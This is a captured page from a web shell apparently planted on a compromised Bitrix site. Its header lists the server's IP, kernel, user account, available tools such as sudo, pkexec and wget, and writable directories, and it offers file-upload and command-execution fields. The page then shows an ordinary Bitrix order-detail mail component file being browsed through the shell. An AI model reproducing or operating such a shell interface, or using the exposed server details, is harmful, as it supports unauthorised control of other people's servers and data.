403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/sale.personal.order.detail.mail/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/sale.personal.order.detail.mail/class.php
<?php
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sale
 * @copyright 2001-2014 Bitrix
 */
use Bitrix\Main;
use Bitrix\Main\Localization;


CBitrixComponent::includeComponentClass("bitrix:sale.personal.order.detail");

class CBitrixPersonalOrderDetailMail extends CBitrixPersonalOrderDetailComponent
{
	public function onPrepareComponentParams($arParams)
	{
		$params = parent::onPrepareComponentParams($arParams);

		$params['SHOW_ORDER_BASKET'] = (string)($params['SHOW_ORDER_BASKET'] ?? 'Y');
		$params['SHOW_ORDER_BASE'] = (string)($params['SHOW_ORDER_BASE'] ?? 'Y');
		$params['SHOW_ORDER_USER'] = (string)($params['SHOW_ORDER_USER'] ?? 'Y');
		$params['SHOW_ORDER_PARAMS'] = (string)($params['SHOW_ORDER_PARAMS'] ?? 'Y');
		$params['SHOW_ORDER_BUYER'] = (string)($params['SHOW_ORDER_BUYER'] ?? 'Y');
		$params['SHOW_ORDER_DELIVERY'] = (string)($params['SHOW_ORDER_DELIVERY'] ?? 'Y');
		$params['SHOW_ORDER_PAYMENT'] = (string)($params['SHOW_ORDER_PAYMENT'] ?? 'Y');
		$params['SHOW_ORDER_SUM'] = (string)($params['SHOW_ORDER_SUM'] ?? 'Y');

		return $params;
	}

	protected function checkOrder()
	{
		if (!($this->order))
		{
			$this->doCaseOrderIdNotSet();
		}
	}

	/**
	 * Function could describe what to do when order ID not set. By default, component will redirect to list page.
	 *
	 * @throws Main\SystemException
	 * @return void
	 */
	protected function doCaseOrderIdNotSet()
	{
		throw new Main\SystemException(
			Localization\Loc::getMessage("SPOD_NO_ORDER", array("#ID#" => $this->requestData["ID"])),
			self::E_ORDER_NOT_FOUND
		);
	}

	/**
	 * @return array
	 */
	protected function createCacheId()
	{
		global $APPLICATION;

		return array(
			$APPLICATION->GetCurPage(),
			$this->dbResult["ID"],
			$this->dbResult["PERSON_TYPE_ID"],
			$this->dbResult["DATE_UPDATE"]->toString(),
			$this->useCatalog,
			false
		);
	}

	/**
	 * Function implements all the life cycle of the component
	 * @return void
	 */
	public function executeComponent()
	{
		try
		{
			$this->checkRequiredModules();

			//$this->checkAuthorized();
			$this->loadOptions();
			$this->processRequest();
			$this->setRegistry();
			$this->obtainData();
			$this->formatResult();

			$this->setTitle();
		}
		catch(Exception $e)
		{
			$this->errorsFatal[htmlspecialcharsbx($e->getCode())] = htmlspecialcharsbx($e->getMessage());
		}

		$this->formatResultErrors();

		$this->includeComponentTemplate();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit